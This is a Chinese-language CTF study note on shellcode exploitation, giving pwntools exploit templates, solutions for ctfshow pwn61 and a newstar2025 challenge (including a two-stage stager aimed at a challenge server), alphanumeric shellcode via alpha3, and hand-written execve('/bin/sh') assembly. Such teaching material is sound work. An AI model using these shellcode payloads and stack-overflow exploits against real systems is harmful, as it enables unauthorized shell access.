这里的shellcode的题目都是利用栈溢出了
shellcode的获取方法:
利用pwntools的shellcraft模块
网上查询
直接写入shellcode 1.32位 1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *from LibcSearcher import *context(os='linux' , arch='i386' , log_level='debug' ) r = remote("域名" ,端口) shellcode = asm(shellcraft.sh()) payload1=shellcode r.sendline(payload1) r.interactive()
1.64位 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *from LibcSearcher import *context(os='linux' , arch='amd64' , log_level='debug' ) r = remote("域名" ,端口) shellcode = asm(shellcraft.sh()) r.recvuntil("" ) payload1=shellcode r.sendline(payload1) r.interactive()
在bss段写入shellcode 2.32位 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *from LibcSearcher import *context(os='linux' , arch='i386' , log_level='debug' ) r = remote("域名" ,端口) shellcode = asm(shellcraft.sh()) buf2=0x804A080 r.recvuntil("xxxxxxx" ) payload1=shellcode.ljust(112 ,b"a" )+p32(buf2) r.sendline(payload1) r.interactive()
2.64位 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *from LibcSearcher import *context(os='linux' , arch='amd64' , log_level='debug' ) r = remote("域名" ,端口) shellcode = asm(shellcraft.sh()) buf2=0x601000 r.recvuntil("xxxxxxx" ) payload1=shellcode.ljust(112 ,b"a" )+p64(buf2) r.sendline(payload1) r.interactive()
例题ctfshow pwn61,这里还有注意有个leave不能直接在栈上写入shellcode,shellcode要放在v5之后即要放在v5首地址的24+8字节后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *from LibcSearcher import *context(os='linux' , arch='amd64' , log_level='debug' ) r=process('./pwn61' ) shellcode =b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05" r.recvuntil("What's this : [" ) v5=int (r.recv(14 ),16 ) print ("shellcode:" ,len (shellcode))print ("v5:" ,hex (v5))r.recvuntil("But how to use it?\n" ) payload1=b"a" *24 +p64(v5+32 )+shellcode r.sendline(payload1) r.interactive()
当64位比22位还小
newstar2025 input_small_function
1 2 3 4 5 6 7 8 9 10 11 12 int __fastcall main (int argc, const char **argv, const char **envp) { void *buf; init(argc, argv, envp); buf = mmap((void *)0x114514 , 0x1000u LL, 7 , 34 , -1 , 0LL ); puts ("please input a small function (also after compile)" ); read(0 , buf, 0x14u LL); clear(); ((void (*)(void ))buf)(); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 .text:00000000000011F0 ; __int64 clear() .text:00000000000011F0 public clear .text:00000000000011F0 clear proc near ; CODE XREF: main+66↓p .text:00000000000011F0 ; __unwind { .text:00000000000011F0 endbr64 .text:00000000000011F4 push rbp .text:00000000000011F5 mov rbp, rsp .text:00000000000011F8 xor rax, rax .text:00000000000011FB xor rbx, rbx .text:00000000000011FE xor rcx, rcx .text:0000000000001201 xor rdx, rdx .text:0000000000001204 xor rdi, rdi .text:0000000000001207 xor rsi, rsi .text:000000000000120A xor r8, r8 .text:000000000000120D xor r9, r9 .text:0000000000001210 xor r10, r10 .text:0000000000001213 xor r11, r11 .text:0000000000001216 xor r12, r12 .text:0000000000001219 xor r13, r13 .text:000000000000121C xor r14, r14 .text:000000000000121F xor r15, r15 .text:0000000000001222 nop .text:0000000000001223 pop rbp .text:0000000000001224 retn
clear是关键
我们只要把shellcode的xor rsi, rsi删去转字节码
1 2 3 4 5 6 7 8 9 xor rsi, rsi push rsi mov rdi, 0x68732f2f6e69622f push rdi push rsp pop rdi mov al, 59 cdq syscall
exp
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *from LibcSearcher import *r = remote("ip" , port) shellcode= b"\x56\x48\xBF\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x57\x54\x5F\xB0\x3B\x99\x0F\x05" print ("shellcode:" ,len (shellcode))payload1=shellcode r.recvuntil("please input a small function (also after compile)" ) r.sendline(payload1) r.interactive()
Aristore大佬的方法
先发送一段极小的 “加载器” shellcode(stager),它必须小于等于20字节。这个 stager 的功能是再次调用 read 系统调用,从标准输入读取一段更长的 shellcode 到 0x114514 这个地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from pwn import *context.arch = 'amd64' context.os = 'linux' context.log_level = 'info' HOST = '8.147.134.121' PORT = 26655 BUF_ADDR = 0x114514 p = remote(HOST, PORT) stage1_asm = f""" /* Part 1: Call read(0, BUF_ADDR, 0x50) */ xor eax, eax /* syscall read = 0 */ xor edi, edi /* fd stdin = 0 */ mov esi, {BUF_ADDR} /* buffer address */ mov dl, 0x50 /* size to read */ syscall /* Make the call */ /* Part 2: Jump back to the start of the buffer */ mov eax, {BUF_ADDR} /* Load the absolute address into eax */ jmp rax /* Jump to it */ """ stage1_shellcode = asm(stage1_asm) log.info(f"Stage 1 (stager) shellcode: {stage1_shellcode.hex ()} " ) log.info(f"Stage 1 (stager) shellcode length: {len (stage1_shellcode)} bytes" ) assert len (stage1_shellcode) <= 0x14 , "Stage 1 shellcode is too long!" stage1_shellcode = stage1_shellcode.ljust(0x14 , b'\x90' ) stage2_shellcode = asm(shellcraft.sh()) log.info(f"Stage 2 (main) shellcode length: {len (stage2_shellcode)} bytes" ) p.recvuntil(b"please input a small function (also after compile)\n" ) log.info("Sending Stage 1 (stager with jump) shellcode..." ) p.send(stage1_shellcode) sleep(0.2 ) log.info("Sending Stage 2 (main) shellcode..." ) p.send(stage2_shellcode) p.interactive()
shellcode是需要由大小写字母及数字构成 先要下载alpha3;
1 git clone https://github.com/TaQini/alpha3.git
应为github很不稳定所以这里推荐两种方法
科学上网(其实是不文明上网),自己理解
用bgithub.xyz替换github.com
然后再利用pwntools生成一个shellcode 1 2 3 4 5 from pwn import *context.arch='amd64' sc = asm(shellcraft.sh()) with open ('sc' , 'bw' ) as f: f.write(sc)
将上述代码保存成sc.py放到alpha3目录下,然后执行如下命令生成待编码的shellcode文件
1 2 cd alpha3 python3 sc.py > sc
使用alpha3生成string.printable (这里得用 python2)
1 python2 ./ALPHA3.py x64 ascii mixedcase rax --input="sc"
1 2 3 4 5 6 7 8 from pwn import *from LibcSearcher import *context(os='linux' , arch='amd64' , log_level='debug' ) e=ELF('./pwn65' ) r = remote("域名" ,端口) shellcode="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t" r.send(shellcode) r.interactive()
shellcode开头为\x00 用脚本找
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *from itertools import *import refor i in range (1 , 3 ): for j in product([p8(k) for k in range (256 )], repeat=i): payload = b"\x00" + b"" .join(j) res = disasm(payload) if ( res != " ..." and not re.search(r"\[\w*?\]" , res) and ".byte" not in res ): print (res) input ()
exp模板
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *from LibcSearcher import *context(os='linux' , arch='amd64' , log_level='debug' ) r = remote("域名" ,端口) shellcode = asm(shellcraft.sh()) r.recvuntil("" ) r.sendline(b'\x00' +b'\xc0' +shellcode) r.recvuntil("" ) r.interactive()
手动写shellcode 先学习一下怎么写入shellcode
32和64的系统调用表
ASCll转16进制
查看可以被使用汇编指令
在线编写汇编指令
x64 1 2 3 4 5 6 7 8 mov rax, 0x68732f6e69622f; push rax; mov rdi, rsp; xor esi, esi; xor edx, edx; push 0x3b; pop rax; syscall;
1 2 3 4 5 6 7 8 9 10 11 xor rax,rax push 0x3b pop rax xor rdi,rdi mov rdi ,0x68732f6e69622f push rdi push rsp pop rdi xor rsi,rsi xor rdx,rdx syscall
x32 1 2 3 4 5 6 7 8 9 10 11 xor ecx,ecx xor edx,edx xor ebx,ebx push ebx push 0x68732f2f push 0x6e69622f mov ebx,esp xor eax,eax push 11 pop eax int 0x80
手写open,read,write的shellcode 这个就是sandbox见我的另一篇文章